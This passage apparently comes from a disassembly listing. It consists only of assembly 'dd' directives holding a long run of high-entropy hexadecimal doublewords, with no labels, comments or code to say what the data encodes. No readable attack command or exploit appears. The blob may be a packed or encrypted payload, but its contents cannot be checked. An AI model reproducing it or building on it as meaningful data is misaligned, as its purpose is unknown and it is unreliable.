dd 62F2696Ch, 721461FEh, 40362964h, 657D5642h, 7F997352h
dd 25793D7Fh, 87431ECAh, 496B6302h, 640FA44Eh, 54554F70h
dd 72501F8Eh, 851DE86Fh, 643BB40Fh, 69E6060Fh, 0F873D74h
dd 2A6F1E21h, 18348E50h, 0E3071E75h, 1A5B95BDh, 52B462F0h
dd 0AF572D8Dh, 0C122F7C4h, 25686BAEh, 67952503h, 85242769h
dd 190A3823h, 0E12C072Eh, 0A2D5164Ch, 59D3C324h, 0FD0AD365h
dd 5125351Eh, 0E7230E32h, 110E3E59h, 46A8AF34h, 0AC521187h
dd 3B118742h, 118736ACh, 873AAC43h, 18A94A10h, 1A40ED0Ch
dd 1DA258E9h, 2C5DBD82h, 95543A46h, 1C42190Dh, 817E244Eh
dd 0C05FDh, 0BAF8C281h, 8B57B16Bh, 5E4958Dh, 28345230h
dd 5FD4C340h, 5B9E863Bh, 88A166DDh, 9D455584h, 4CC31345h
dd 654D1AF1h, 84501118h, 54C83243h, 583C3E44h, 0C8424384h
dd 5436445Ch, 0D5DEA7DCh, 2868A2AFh, 325A29CDh, 36193A0Ch
dd 4386420Ch, 9132213Eh, 280A502Eh, 60141C93h, 1F9D8707h
dd 6111D9FBh, 25406A24h, 4E190B2Ah, 1844977h, 8B0EDEB3h
dd 0D76E60C1h, 0C87BC0A9h, 24EDF70h, 0F728B4D9h, 2BD8525Dh
dd 237E789Eh, 5AF3040Eh, 4FBC2F40h, 7880CFDAh, 6CB9C5EDh
dd 0F60C409h, 5106E880h, 0FBBE0B5Fh, 0A89A466h, 0E70E3D3h
dd 9D41E954h, 202F59CEh, 8A9E8F9Ch, 0B256CB00h, 87D7C663h
dd 88571F1Fh, 81BA96C7h, 38F6BFD6h, 842DA333h, 7DA7F2B7h
dd 0C3AD6CE6h, 617DE9D0h, 8CF774F9h, 3C202FDFh, 38D0EB61h
dd 5F00D357h, 27A594Eh, 0DDF2C224h, 0F7461861h, 0B72404C7h
dd 604DCA57h, 5D268078h, 53225E3Ch, 6AC66C00h, 1E6446DFh
dd 2F2B09A3h, 0EAC6BF61h, 1DC457A5h, 2BC1F960h, 2ADD0501h
dd 0D6B4AFEDh, 0D5B96250h, 86130163h, 7EEA76FFh, 4029D08Ch
dd 0C50BBD09h, 0FB2A0237h, 20B7423Bh, 95EA475Ch, 0F516002Dh
dd 0D97C35A6h, 6CF8ADDAh, 50BEBA16h, 3B53DC8h, 0A4B4529h
dd 89B8A1C7h, 0F74241Ch, 0BE4A90B5h, 645C4BF7h, 129AFC5Fh
dd 5ED9E9E7h, 0E8B04317h, 0ED6ABCh, 643D8DEFh, 2BA2718Fh
dd 925E6C00h, 0D8BAC48Bh, 60E904E6h, 0BCEB01CDh, 8C15E889h
dd 0BABCAD05h, 0FA12ABCBh, 7380A4DBh, 5FA3324Ch, 88EC8B01h
dd 0D0C58042h, 0B693932Dh, 0F4F5E07Ch, 0CFFE9D1Fh, 17F1DB0h
dd 0A42300BFh, 0C2B63E7Ch, 0DD1D733Dh, 8F00E778h, 803B2716h
dd 0B2224C9h, 0D48416AEh, 0E8938203h, 0AF001544h, 0B4D3CB5Dh
dd 1DAB56Ah, 74B97DD1h, 0CCBAA6D0h, 83500FCCh, 615F5E62h
dd 0B703286Eh, 52503BC5h, 98DE8090h, 0B15A5E26h, 99BD8D02h
dd 0F48CDC70h, 685D3A00h, 0BAF8AF61h, 3F3116D9h, 40E971Bh
dd 1FBAB250h, 4F804D5Dh, 0FF5E3F29h, 8FB7BFE7h, 0DD127A00h
dd 4F7C27C1h, 10400957h, 0F0233E6h, 0FE0140B6h, 5DB004C8h
dd 227126Ah, 0D93A8B5Fh, 226D001Ah, 97D33C40h, 0D8F28504h
dd 33AD92F9h, 0F61ED3B8h, 9CC55C34h, 52B0A55Bh, 617125FAh
dd 920366C4h, 0D8721A82h, 0CB4EE079h, 0B77101EAh, 7ECA8097h
dd 3BAB6159h, 1A02616Eh, 6EB1C43Eh, 6D69A4CFh, 2F0E64D3h
dd 82BE601Dh, 6170A8C2h, 33E632CDh, 27C2E4B4h, 0D01F18EBh
dd 240FDA0h, 0E3249260h, 29C46369h, 0C261063Dh, 0E6E92DD8h
dd 14608706h, 85F60840h, 504F335Ah, 0C7F84F24h, 9CB58B21h
dd 0E670818Fh, 60338A95h, 9588E864h, 43C65F81h, 65B53BECh
dd 860F390Dh, 20D851E9h, 0E622F2D8h, 506FC0CFh, 24C88C66h
dd 5F0A0326h, 0EF812AA0h, 125B72BBh, 8F90858Bh, 580A1886h
dd 6741CADBh, 0C61EF107h, 44C62404h, 30FF50CFh, 95FC0857h
dd 2B1EB54Ah, 4010FC9h, 2D80FEA8h, 0B6531CC0h, 89668F2Eh
dd 209FC6Ch, 2B535B57h, 82A04C09h, 224344E1h, 5326BBE0h
dd 80CB0CEFh, 84C303E3h, 764B3868h, 2FC7765Eh, 0E7982EC9h
dd 0E6DD448Bh, 8AC59814h, 3CBE0689h, 3EBC7218h, 1662348h
dd 0A25B53BDh, 6016A322h, 0B1A63E80h, 0B7A1BB00h, 1B0763Ah
dd 5AB1B172h, 0C88AAC80h, 0E432C302h, 0AACB0CD1h, 140D20Bh
dd 640A4A88h, 5BE5D6C9h, 50DDC323h, 26521011h, 0BBBD48Bh
dd 9EC2087Ah, 80AA2101h, 8DB0C23Fh, 0BCA85A5Fh, 566E5153h
dd 99DB4B32h, 0D8E8AC39h, 81D301D1h, 465ABCC3h, 0FAB0BC37h
dd 970B4932h, 828B25E8h, 0F615979h, 637B4D60h, 0EAAC32C3h
dd 4077B42Ah, 438EE7C0h, 0D80F50DFh, 3C04A832h, 6D49929h
dd 7433A825h, 8F0C6053h, 8D210A85h, 6A102ECh, 8927F2BDh
dd 4E23E9F3h, 8B1B8C3Fh, 502407Eh, 9B46F317h, 19219289h
dd 0ACFE3C14h, 0A31F1E46h, 0AE88E430h, 698768E9h, 1276A4DFh
dd 7A4D0072h, 0CAB2B80Ch, 0C4A94527h, 7206E066h, 0C8D10030h
dd 0FF73B46h, 8DA4F182h, 4B08EA81h, 284CD928h, 5682284Bh
dd 13425351h, 0C4A2C02h, 3C28674Ch, 0A44C92Dh, 34980004h
dd 0C1D83213h, 1C9008C3h, 1CA067AEh, 5E51595Bh, 92980137h
dd 4F5D083Fh, 0BAC34A0Bh, 2A9D880Ch, 4D31E244h, 25AE040Ch
dd 48A3831Bh, 78E4B688h, 0A5AF8406h, 2687797h, 8A0F4EFDh
dd 6E09402h, 0FE127AF1h, 7C04F95Bh, 0BD76CB8h, 5CE868C4h
dd 40028784h, 575F50B2h, 0EFDA0081h, 5A6DACECh, 1F0434FFh
dd 58D3B70Fh, 4A83808Ch, 12A98A94h, 0FFB4C95h, 0C06062D1h
dd 0BDB5060h, 10F78B30h, 68D85DCh, 8ABE6672h, 0B10014E3h
dd 8B4FABFCh, 7B0489F0h, 88C9003Bh, 0F133733h, 833EF3BFh
dd 0EE07FCEFh, 3895937Bh, 0B5E0FF63h, 0A8853491h, 7C8C355h
dd 24411E9Bh, 0FEA100BBh, 1331EB35h, 0D4042D50h, 9111AD60h
dd 0EC3C65h, 462B377Dh, 7651D5B5h, 492CB700h, 0B2A03B20h
dd 7C4BE64Ch, 9E3A0636h, 4041EBB5h, 79003CF0h, 9C2E35B8h
dd 0C172CFBAh, 0E0EF6E28h, 13408250h, 87416F3Ch, 0EA437D38h
dd 335DBC7h, 0B0167420h, 52E01231h, 293885BBh, 93231FADh
dd 7F15A480h, 6D36B8h, 531270B6h, 0C8BCF465h, 6A2C1100h
dd 42B9EE1Ch, 5DB60579h, 0CE29E34h, 4D515144h, 0D98BD18h
dd 3078F031h, 9C81B4C7h, 4E0F54C2h, 86743648h, 81853C0h
dd 5898B312h, 0B0B7B102h, 95660044h, 0C4077AC3h, 0DCE7EB29h
dd 834394AAh, 0EA300F6Ah, 14069C02h, 781F103Ah, 239B4CB7h
dd 508CE170h, 0FC32D600h, 0CCF0FB28h, 37AE1610h, 55C1530Ch
dd 27011AE8h, 7B31E86Ah, 0C0802ED3h, 106EF616h, 5B32542Dh
dd 10132957h, 0E2892FF9h, 58441B08h, 706940FFh, 0F3C62C00h
dd 18A24F52h, 0CC2A0085h, 975A58EDh, 1D007C21h, 0BFFAE6D5h
dd 0CF8B93E3h, 0F720F8B4h, 4F8E4A01h, 0E8F44900h, 9DECBF5h
dd 2FEB1EFAh, 0E5060025h, 0B287421Ch, 0A8FC2A77h, 2CD23E00h
dd 0FEE62F68h, 497173h, 6354D012h, 6F23E807h, 374E210Ch
dd 40E429CEh, 1300C9FCh, 0C636D8CFh, 13063DEh, 6BA14280h
dd 0EC48D4A7h, 9E004012h, 154CCF95h, 50C49C2h, 0D7A66A2Dh
dd 0DFE7C04Bh, 0E80084DDh, 0EE200A97h, 246B37A0h, 0E476F2h
dd 0F6E37B63h, 5A000B12h, 0EE478287h, 7C9920h, 0F076FA9Eh
dd 0DD6F92Bh, 0DD96B201h, 0EF6F9AA1h, 85E5DC41h, 0C573D8h
dd 26924E70h, 8B35AD52h, 0DF03B101h, 32AE0841h, 9DD5E1D3h
dd 0FC9A20h, 0D3427164h
dd 9743FA2h, 486B6E1Fh, 22AA36C0h, 12401031h, 34D41Eh
dd 0CC56E091h, 920702CAh, 0EE766148h, 0C6E17047h, 0E1E40762h
dd 0D3CD0013h, 830634E7h, 1D00EF81h, 4D68B7EAh, 4295D0h
dd 27099CC9h, 0A98AAB4Ch, 0E8F0F700h, 5985BA1Dh, 0FF1403D8h
dd 0BAE0C66h, 8294C298h, 95249C70h, 9F004C35h, 53A2FE47h
dd 1C1A1EBBh, 20BC069h, 7AB76316h, 41E8C190h, 7CF09C54h
dd 82334600h, 22EEF2C4h, 0A0273885h, 70F93Ah, 17CC45B0h
dd 2F6761EBh, 0EF1FE700h, 16C5962Ch, 66A90038h, 88C0201Bh
dd 5F00DF32h, 0FF69CF25h, 374770Dh, 2E7AD8Ch, 400095F3h
dd 35030AEEh, 671641CBh, 0C709205Bh, 65A880C5h, 0DC0111B9h
dd 0AE0D4948h, 0DDF1268Bh, 7CF4BC71h, 7D4400BDh, 0A40D808h
dd 2A7D82B4h, 0C73DA50Ch, 4F391Fh, 8754DD01h, 6EAA643Bh
dd 0B79003FAh, 3AE6A900h, 4215E7C5h, 0FA7BB9h, 506601Eh
dd 3E4EF0DAh, 0C0304Ch, 0B701E0B4h, 0B2E8BE6h, 0F7B6B98Ch
dd 337E1000h, 0C100A085h, 1BAEC9F0h, 2A73708h, 0D20C3C34h
dd 0F40060Bh, 10003D33h, 0CAE009D4h, 90E9ED1Dh, 12E100BCh
dd 0A9585AD6h, 27F846D2h, 0FA52E401h, 64BC7A3Ch, 0EC48CBE0h
dd 0E87E009Dh, 0FC3F0FE5h, 5AE01B41h, 94002490h, 4E20846Fh
dd 0EBEDC49Fh, 8042B442h, 0AD0EA3B0h, 0E82400F5h, 1D8389AAh
dd 31C0599Eh, 0E643C955h, 47250001h, 0D71A2834h, 0F730DB2Dh
dd 4F7B34BFh, 41558DAh, 0EC4EC75h, 0EFF283F1h, 0BA1B59A0h
dd 0E30079FBh, 1E54C1F4h, 337F8BBh, 2F87C288h, 749F05B3h
dd 0AE089058h, 82003512h, 0AD14925Eh, 0E92A64h, 1EC55844h
dd 2EDB3E79h, 0FF2D11Eh, 7F6E3B40h, 3FC152BFh, 0F80410DFh
dd 8062E0ECh, 1A21DC54h, 0FD03B51Eh, 0D71D5BC0h, 789C43Ch
dd 174C0E2Dh, 747DA213h, 432F45C1h, 908A58E4h, 8DC07448h
dd 868A5100h, 53062BB7h, 52DF00FBh, 0B89198A2h, 0A61F3A80h
dd 62D759CCh, 2081610Bh, 0C8410B88h, 0D23D00AEh, 4FE90D6Ah
dd 0D80027E5h, 46EE92AAh, 0D728B0h, 0DE0113E0h, 0F0875721h
dd 66403360h, 0CD0F0Bh, 6D7076C4h, 8E4DD9A3h, 25B98A00h
dd 4E90C2B6h, 5244008Fh, 0E7D2207Dh, 98095556h, 80237B22h
dd 925D3FF0h, 0A7650028h, 2B10904Fh, 5C008BFEh, 26E902B7h
dd 29F6016h, 8EDD2F99h, 0D4606E71h, 8800816Dh, 90E5485Dh
dd 9A6B974Ch, 9F6700DCh, 0A662CA6Ch, 80F23114h, 73CB9000h
dd 0AB37DA18h, 1B9CA81Fh, 0E85900E0h, 247C64E1h, 83008E65h
dd 45F3C17Bh, 7A331DBh, 0BD51A102h, 704750FAh, 0BA005EC6h
dd 19DF5486h, 3F0C67F8h, 0CD9C13A6h, 80286CECh, 142F0EE1h
dd 0B000B456h, 0C0181DEDh, 0AF3387h, 0BC57D2F8h, 3927AB12h
dd 6F2D30CFh, 8C0380Ch, 0FC2100C1h, 3044713Ah, 7B1806ADh
dd 98F8539Ah, 63863076h, 0A0965739h, 1003CB75h, 6479FEFFh
dd 0AD6E8030h, 1E734C5Fh, 86B4BC00h, 0C938AE60h, 0EC394000h
dd 55173A44h, 29E20143h, 0E11FC41Ch, 41C3D450h, 0A09B2100h
dd 12CE7D33h, 68181DFDh, 5AB7C9B6h, 136DE410h, 0D88E350Bh
dd 5FB10101h, 8ACC8CA6h, 0FFAA0B25h, 0C304C91Eh, 1B0880F8h
dd 7C24A70Bh, 8F803C1Ah, 44B2050Fh, 4AF0032h, 0BBFADB99h
dd 0B400233Ah, 0FBDE9401h, 2CC8F8B8h, 9D704802h, 0E985C6Eh
dd 0D2C17249h, 0D09E4274h, 2449EDD4h, 51808C0h, 2F3060DFh
dd 64004154h, 0C3273A5Fh, 9E1AB6Bh, 0EB28EC45h, 4220588Fh
dd 74568CC8h, 0BA2C0300h, 5C982D20h, 0D39E004Bh, 0F0700139h
dd 0BC004DC1h, 0ECF915E4h, 21F83B9h, 0AE719584h, 8C685222h
dd 0AD7ADE3Ah, 0E2FCC000h, 962AB323h, 2CE3020Fh, 47B4D99Eh
dd 290D6CC0h, 0F29A3240h, 8C5824CCh, 2380834Ch, 81EC36C6h
dd 60C72A08h, 5402A17Ch, 4C1B19BCh, 83344A8Fh, 34A0AEh
dd 6ECD2839h, 0DF96390Eh, 0A813F800h, 24E1ECB6h, 9847153h
dd 0F6495989h, 5D58C440h, 0A8B849h, 8D2B86E8h, 0A4428Bh
dd 1027F03Bh, 28D43370h, 7021A930h, 13B680A5h, 40BECE92h
dd 5D3E1344h, 0DD002879h, 7366012Ch, 3A6B96h, 0C1F722E7h
dd 0F086B358h, 0F520E900h, 82AF5CBDh, 1FEC01EBh, 0AA5FC2F2h
dd 1580707Fh, 0B6648F01h, 31D4B3CCh, 80B0619Dh, 0F399A36h
dd 510937BDh, 34C2F53h, 111FBA24h, 3C89DD10h, 9A3B0017h
dd 5FA546F8h, 0FA623F6Bh, 740095BEh, 0F319EF3h, 30A0D7B3h
dd 360E7681h, 80AFB037h, 0ABAA8464h, 65BA003Bh, 0EF518F5Bh
dd 6D00A290h, 3553B2F3h, 60A05A64h, 747F39A7h, 0EF5D9414h
dd 6E2D00C8h, 0FFB417F4h, 2C6F0655h, 616C5620h, 7FFC4Ch
dd 25C1122Fh, 1A86FFh, 0C31E4A8Ah, 73572444h, 0CB202E00h
dd 1C6A3223h, 0BDB00430h, 960C18E4h, 48DB818h, 32211A61h
dd 2FFC1089h, 4795FC40h, 364B7B00h, 2A4A4FD4h, 0EA9A01EBh
dd 0FC3B2376h, 96B19F40h, 0E4297DDBh, 1278D621h, 0AD9E212Ch
dd 18113017h, 0FAE63Ch, 73CD15E9h, 7DB19h, 0CA16E09Ah
dd 752D7B29h, 0E411A400h, 2B6A49CCh, 0CA7007Ah, 0B103D691h
dd 2200BE15h, 40102CBBh, 2CC4CB6h, 59DF1374h, 0D050FBE3h
dd 8086BC3Ah, 622D1194h, 0CF712C36h, 25A0BEF1h, 0B56E17C9h
dd 0D9A78900h, 289CFE0Fh, 5BE300DAh, 45B8D362h, 552E7AF6h
dd 6C00B4EDh, 1B9B7168h, 3A92385Fh, 3ED01500h, 0BF75A9DAh
dd 4FFFA015h, 30C00ACh, 2A93D6FBh, 22D200FEh, 9E9D703Dh
dd 0D7491711h, 0FAD512D4h, 72FC3CC8h, 0BC9204h, 18F4E8F0h
dd 8B1CB122h, 135C880Fh, 0C742C337h, 8D1AF0ECh, 27CC2635h
dd 58C00170h, 605A56B6h, 0C90078A4h, 76FBA90Eh, 3F9BD7Ch
dd 3B8BE53Fh, 0A1C093C2h, 900FDECh, 77A5F805h, 40061Bh
dd 0EAEB890Dh, 16BE31CBh, 9B9D621Dh, 6500D597h, 0C8ECCA94h
dd 0C061F21h, 0E8398A41h, 0CE2D00B4h, 843B1068h, 0D8AD8D00h
dd 6F9C7B36h, 31010032h, 0CE2C736Ch, 0E7FE8343h, 958F2500h
dd 2EA14A64h, 2F2A33B2h, 54F02648h, 0E900F2CAh, 0EE80312Ch
dd 0C1DF2Dh, 571715FAh, 0F01E09D7h, 0F702AE00h, 26B89DD4h
dd 8FA9164Eh, 7F0D0035h, 8C3115E7h, 7882F601h, 6D0FC4Fh
dd 3C0381C8h, 0C00D1B0h, 0EE49B1A2h, 3E0071C7h, 0AF65C0Eh
dd 2E9A3206h, 58A470h, 7E9B0DD5h, 0C20901D2h, 2F41E277h
dd 9B0016B4h, 0E906F6F0h, 46F9002Fh, 0C01BC955h, 830032A5h
dd 7E805F12h, 4C042EFFh, 0D60D9EDEh, 0D4403497h, 5C007F7Bh
dd 9D40E694h, 7DA9D3h, 35E99A5Eh, 7E9FF2A6h, 42545F00h
dd 0D7E2108Dh, 88650046h, 0E5138B32h, 6D7FEFD6h, 57757819h
dd 90700B6Ch, 67AC097Bh, 6841A9BCh, 2C082333h, 51841C3Dh
dd 3881740Dh, 4424BF21h, 3C3449D9h, 44C04817h, 800CD498h
dd 9F24094Ch, 7646C800h, 402EC6C9h, 0E74C0091h, 37D5CC18h
dd 830563BFh, 14D936F8h, 0B4DE0DC0h, 57B704D6h, 0C2ED5E50h
dd 679D28h, 2C192A59h, 0D8E50148h, 2B38AC67h, 1F9824h
dd 0E3A4FCE4h, 1265D30Fh, 0D94AEC00h, 84A07304h, 0E8EF07DFh
dd 12F0CB38h, 0C848A52Ch, 2000F7BBh, 8E24F8EEh, 283A818Bh
dd 0E2F83260h, 2A5C04B8h, 0D1A430F4h, 205D9844h, 5124B07Eh
dd 6BFCCA8h, 0AE53AA3Ch, 36A20111h, 0D0D273D8h, 80F7C5FFh
dd 1BEBF319h, 0A7089Dh, 0DA16C34Bh, 11252FE5h, 0DC09BD06h
dd 0A10E630h, 0D0BCE2Eh, 0DE8E38F8h, 0E8CEE326h, 8099F385h
dd 0D17AE6C4h, 5D009190h
dd 86514FBDh, 21EBEEh, 595CBBF6h, 7596891Ch, 27301678h
dd 54AFF1BCh, 556930E5h, 51488C11h, 233BBB0Eh, 3A7C17h
dd 0C75867A4h, 6BCA1Ah, 9F45D1A6h, 30B6293Ch, 9E6EBB0Ch
dd 92A8A7h, 4FE9E52Eh, 275C2F9h, 0D53CAE04h, 0D987AD33h
dd 0A544E8D0h, 8CD31E39h, 3DC0C026h, 97F8141Ch, 0BA086700h
dd 16DA5783h, 0D0443CF7h, 0C4B1A6h, 0E9B0B9C9h, 6309ED7Ch
dd 0A73EC1B6h, 0D252E6ECh, 8C604049h, 5C70B2F2h, 8420689Bh
dd 865BBB00h, 98707105h, 0E5960053h, 0D9283FEFh, 2B1CD415h
dd 0B8408732h, 0B45DB1F9h, 0B7FD5082h, 0EFB8C6h, 8CBD18F6h
dd 0E8FEE452h, 0E0231A00h, 92D15177h, 7FD40081h, 0DD1EFC93h
dd 940047F9h, 6B38D99Fh, 0E3A87983h, 3959D4DCh, 284DBF8Fh
dd 67A3CE03h, 18A87C74h, 8100CBC5h, 0D1827665h, 7CACF0Dh
dd 3C776678h, 0AA08C06Ah, 2D002E0Fh, 0B633A80h, 1E370EADh
dd 0C2407A35h, 9B8179Fh, 64B31040h, 0CD0019F0h, 0AADC38D6h
dd 24D4C274h, 8064A3EDh, 17DD99A1h, 5517B721h, 0C00045E6h
dd 6A52BC93h, 0F83A0046h, 43E101F6h, 0BF0277CFh, 636CA516h
dd 0B120E872h, 1237CC1h, 0ED22461h, 0E821D5B3h, 0D7031D57h
dd 22D4AE0Bh, 0E087BBBEh, 259089h, 5E55C0F8h, 2093861Fh
dd 1F8F55Ch, 61AF954h, 0A82028DFh, 2AE875D2h, 0EEE4FBFEh
dd 0D6262603h, 2E068050h, 76988089h, 0B10556B0h, 6EC34732h
dd 0E6241CA4h, 0B06400CDh, 3FF53EE0h, 6200CF0Fh, 0F142DCAEh
dd 4AD20A3Bh, 38FC4761h, 4857D202h, 0F120C450h, 0B4EB3235h
dd 0ECE07284h, 46747489h, 6C109510h, 10666278h, 202C7FE9h
dd 590600EBh, 206C90C7h, 913C7E1Ch, 0C2248099h, 5C21D289h
dd 7D4EF819h, 239400E9h, 35ED991Fh, 2705BD3Fh, 17F66C51h
dd 0E86628D0h, 0EC84A8F3h, 609C0904h, 50484E76h, 0F006212h
dd 0EFF1968Ch, 25147BCh, 0AEF5BB3Dh, 648436ADh, 54608D5h
dd 0C04563D4h, 0B7AED6D8h, 801AB13Eh, 53730A4Eh, 2EEA2492h
dd 0E47940h, 0FA76F216h, 0FCA97EFCh, 37A6E08Dh, 0A7EE5100h
dd 5667B84Fh, 90C1E83Bh, 0EC253002h, 80769328h, 0A23C1903h
dd 0E02696FBh, 0C0439740h, 3E656849h, 24E1BC22h, 1C6E6E88h
dd 9E00BF48h, 0D45CFF77h, 0BBE30058h, 9307518Fh, 0D1C035D5h
dd 98413455h, 31EA0DFCh, 0D0E41712h, 7028A62Dh, 192AC510h
dd 0C900A41Fh, 0FB8A9F76h, 9034FC92h, 0DC0305F1h, 40F1B822h
dd 0EB0C6CB0h, 52038837h, 0AFB2AE72h, 82401C77h, 0C04A1F9Eh
dd 0A1EC627Ah, 72B01E94h, 769D140Fh, 7B150039h, 1759CC4h
dd 0E478ED51h, 43FCF26Ch, 200F53D9h, 1FCCA70Dh, 2A07051Ch
dd 34F065C3h, 0D9B351h, 2B5C42Ch, 62813A2Fh, 246C9316h
dd 0E835040Ch, 0F76384F6h, 0F34E20B1h, 4615E0C6h, 0A81B075Fh
dd 5CDE08h, 5922F4A9h, 4FF3C800h, 3A0FD315h, 325807BBh
dd 0F2B73440h, 674023A9h, 0FB00D483h, 9712D5B9h, 1C63A71Ah
dd 40C3F486h, 0C6D3B5F8h, 9D180699h, 0B730569Bh, 7AEA093Bh
dd 0C30C7764h, 0FF528271h, 0AC0FA04h, 0E8BF4539h, 8313E41Fh
dd 0D3981100h, 0E2DDB337h, 15A65C2Fh, 2CFB6700h, 24FAE88Ch
dd 12FF8006h, 4229D4EFh, 0FCC711C9h, 9808E621h, 84B590D6h
dd 0D248FE82h, 24D87142h, 0EC2E23A1h, 0BC42BE48h, 208D24DCh
dd 812D0462h, 448E08AAh, 228479DEh, 96220888h, 0E4992223h
dd 0F6116542h, 882210Eh, 5195E953h, 29103278h, 0EA1B106Eh
dd 81083D89h, 845A1144h, 29899A7Ch, 13650408h, 140446F1h
dd 1548EE0Ah, 1E508680h, 13BC341Bh, 836CCFh, 0BF3A1D61h
dd 823B75C4h, 0F41E8066h, 61EF1B17h, 14E517BDh, 0F2200038h
dd 1CEEBC64h, 0E4133273h, 801CF86h, 0DB6195F1h, 2ACAE0h
dd 1D223757h, 0E8E687AFh, 0FC601F2Eh, 0C440123Ah, 0C200FF16h
dd 5EE2234Eh, 9740703h, 41AD63D5h, 0F40C6FD3h, 4A002B3Ch
dd 3E128415h, 0F03207h, 0F7303D3Bh, 2FDEF69Bh, 473C1B1Ch
dd 1DC7BC1Eh, 11CC6E5Ah, 71E502B7h, 84FDE903h, 0EC0746E0h
dd 6FC9502h, 403E7370h, 0FEA958h, 0F74B9AB0h, 10E0413Bh
dd 402B3000h, 7E24FAFh, 2C4500C0h, 0D995F649h, 6C1C09ACh
dd 1C5BA9A5h, 92B2B068h, 0B8FC88h, 4322DDD8h, 0DF6D9B0Ch
dd 0D7BD941Dh, 5A43CB1Dh, 0C0541283h, 7B03405Ch, 255B0192h
dd 3C855846h, 3D803209h, 0A2D500F8h, 3602D0C6h, 0CC3E3E35h
dd 74689C80h, 0C98A78C0h, 8797FF13h, 0A0926B0Fh, 0E8BADE2Bh
dd 0A64B0134h, 3A79C0D7h, 9F29E04Eh, 65170100h, 1362B3AFh
dd 26470357h, 3355DF76h, 6512000h, 7E1B58B7h, 6B8A1DEDh
dd 83895D13h, 0AF7488F4h, 0C16AF800h, 0E03AFF86h, 1C34F896h
dd 47088D27h, 10AE0F91h, 8EC085BCh, 0A300C9E4h, 3D2E1390h
dd 0A7BA3Ah, 0DD9360DBh, 0C3D75C10h, 9DD9CE0Eh, 0A3206773h
dd 0DA68BA70h, 0BBA63CECh, 148061BDh, 0CFDD4AE8h, 5D4E67A4h
dd 0B039F4B4h, 0DCC8002Eh, 0D9A053Fh, 0BE00370Fh, 950244D5h
dd 3E34100Ch, 0BF077E84h, 31659D77h, 0CC0D56BCh, 6205987Ah
dd 0E74CC679h, 0F1C07A87h, 4A06A7h, 0B13B5E16h, 7309CAAh
dd 0EDBBBE00h, 0E0B24F0Ah, 69FD0BF5h, 7FE01E15h, 90000912h
dd 442D98AAh, 0D48EB7h, 148666F4h, 22D9FC61h, 0A9ED4F00h
dd 59CC306Dh, 17C70F6h, 7AA1629h, 0F8A2FC25h, 0C000E56Eh
dd 0E9A595F5h, 418F749h, 4E1579CEh, 26B8D12Dh, 0ED8D703Bh
dd 40DBC507h, 4524165Ch, 12925880h, 0E609002Fh, 17137CCEh
dd 793AF201h, 0F80D80E2h, 85B48B97h, 0D5E33B39h, 6ED4808Ah
dd 0B88F00D4h, 5D24BFB2h, 260022B8h, 0BC2B4B03h, 57BC9CBh
dd 77E49380h, 6C1DC05Fh, 8CC99D7Eh, 6154001Bh, 238027Dh
dd 58E3A040h, 3C40831Fh, 0E8005B56h, 0C1821E51h, 0EFC107Ah
dd 19050BB8h, 0D44C40DEh, 180806B6h, 56030978h, 7B9A90CAh
dd 24C09CD2h, 0F6AABFC5h, 0E6543C2Dh, 0AC8F01FAh, 1F621496h
dd 18D42424h, 5D8C1304h, 34C0EC78h, 420222h, 0E080E3DDh
dd 0AA2FF152h, 0A0C84950h, 96B0E500h, 970609AFh, 0B3B700A5h
dd 0D67F2C1Eh, 3D008517h, 6CD0A601h, 1F1CCA0h, 0C0DC8653h
dd 3065C17Dh, 80091D4h, 0EC754C1Eh, 0C5D28Ah, 1F84F254h
dd 0AFFA8C03h, 8B495901h, 0FBB218Fh, 0F63030h, 0B9D14DE3h
dd 0B160A06h, 0CB53C207h, 1EF011BFh, 5CB502h, 8B76A1C4h
dd 0D0073110h, 0CE6DD50Eh, 634C3A9h, 0CC6F88D1h, 0B09C3873h
dd 0BCFD00F4h, 0F1A7AEACh, 4300311Fh, 98B8E162h, 66DE93h
dd 83658215h, 1BEC7CB4h, 0EF9FD207h, 79606788h, 24EECB5Ch
dd 5485C9h, 56F2192Ah, 68980FFAh, 0C230F600h, 183DFD28h
dd 0BDAE07DDh, 0E09C475Ch, 6E203E6Dh, 0CEC4FB03h, 0B3573691h
dd 0F7380043h, 1964135Fh, 7700D399h, 0FA7BA4FFh, 4C5BE970h
dd 57383455h, 61EB6B0Dh, 98FAEC11h, 7779CB1Ch, 94DB0980h
dd 0C68AD3h, 510772C3h, 839D56F7h, 346FE800h, 0CDA8E44Dh
dd 1D713BD3h, 0A6143D8Ch, 0A7006420h, 0C684601h, 3BF0A37h
dd 7A4B977Dh, 8CC8A2BBh, 65043444h, 19C7C868h, 0DD016081h
dd 986097F8h, 3F3900C8h, 7659E0A3h, 323F087Bh, 5AE1803Eh
dd 2BD8DC30h, 31F90025h, 0D6B46CE0h, 0F83C2826h, 0AA76002Ah
dd 0B19BBAB0h, 16609099h, 28CA9FA5h, 0DB09E384h, 208BA69Ah
dd 0C4DA7F60h, 63BF247Bh, 4C460BE1h, 0B8C68001h, 49D3051h
dd 0CC008B79h, 4A959D14h
dd 0B0265C19h, 3E8C0088h, 4F1D74D2h, 0DC4C7EC8h, 1F7A0020h
dd 0FD76D66Fh, 2834059Dh, 0B60463h, 1264F8D0h, 0C807A125h
dd 0A8BFB5CDh, 0E08715A3h, 422A9Eh, 8BF780FEh, 7337A0B0h
dd 786AC00h, 298D244Ch, 2C9883h, 0FB56116Ch, 5A2F9E8Fh
dd 0B00BA90h, 0BD9B6444h, 789CDDB9h, 4F3300A0h, 740FCB70h
dd 0A900CF54h, 55AE98BFh, 0AB0281h, 0B2D0E5AFh, 2883E869h
dd 97006AE0h, 8077C2D5h, 602261h, 7AF1B1ECh, 5D6FACB7h
dd 0FA009C58h, 0AE0EEE23h, 0A3610B8Bh, 0F8C95C54h, 0E048ECEh
dd 1E4F8614h, 70E1780h, 2A0EEB3Eh, 0C05E399Fh, 97D8C656h
dd 94374893h, 0EFB9850Fh, 0A2FBDBE1h, 3853CC48h, 34CA1800h
dd 921114C6h, 8EDF04AFh, 813F2C74h, 0E4641FC8h, 6B00CB23h
dd 528AE8D8h, 7B7C119h, 3C6202E7h, 0A0C0700Eh, 0F0013112h
dd 0B508BEBh, 0D6DCA5E0h, 0F7413B81h, 124C0C80h, 0FFE4AD96h
dd 0EFA0E201h, 492376FCh, 3D8F0F0h, 7CE39AB5h, 0DCB0C04Eh
dd 0A903B8B0h, 0BA624BC9h, 92BEB0E1h, 0E9D700F7h, 54CBCA8Bh
dd 6300ADFDh, 312E28F5h, 78B44D62h, 0EEB92629h, 6B9E44h
dd 9EE4A73Eh, 8B01C564h, 37757FDAh, 0E0409B7Dh, 3119B8h
